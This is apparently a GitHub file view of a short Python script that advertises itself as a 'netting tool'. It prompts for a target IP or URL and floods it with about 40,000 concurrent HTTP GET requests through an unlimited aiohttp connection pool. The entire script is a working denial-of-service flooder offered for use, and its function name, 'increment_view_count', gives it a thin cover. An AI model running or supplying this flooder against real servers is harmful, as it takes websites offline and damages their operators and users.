-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
56 lines (49 loc) · 2.33 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import asyncio
import aiohttp
import fade
import os
# Clear command prompt based on the operating system
if os.name == "nt": # Windows
os.system("cls")
else: # Unix/Linux/Mac
os.system("clear")
logo = """
_/ _/ _/_/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/_/ _/_/_/_/_/ _/_/_/ _/ _/ _/_/_/
_/ _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/ _/_/ _/ _/
_/_/_/_/ _/_/_/_/ _/ _/ _/ _/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/_/
_/ _/ _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/ _/_/ _/ _/
_/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/ _/ _/_/_/ _/ _/ _/_/_/
"""
txt = """
==== BEST NETTING TOOL YOUR EYES HAVE EVER SEEN ====
GIVE US SECONDS, SAVE YOURSELF MONTHS
"""
faded_text = fade.fire(logo)
print(faded_text)
faded_text2 = fade.brazil(txt)
print(faded_text2)
ask = fade.pinkred("Enter the target IP/URL:")
url = input(ask)
async def increment_view_count(session):
try:
async with session.get(url) as response:
if response.status == 200:
print("PINGED THIS SHI!")
else:
print("Failed ping.")
except aiohttp.ClientError as e:
print("An error occurred:", e)
async def main():
connector = aiohttp.TCPConnector(limit=None) # Enable connection pooling
async with aiohttp.ClientSession(connector=connector) as session:
tasks = []
for _ in range(19999): # Increase the number of concurrent requests
task = asyncio.create_task(increment_view_count(session))
tasks.append(task)
for i in range(19999): # Increase the number of concurrent requests
task = asyncio.create_task(increment_view_count(session))
tasks.append(task)
await asyncio.gather(*tasks)
await asyncio.gather(*tasks)
if __name__ == "__main__":
asyncio.run(main())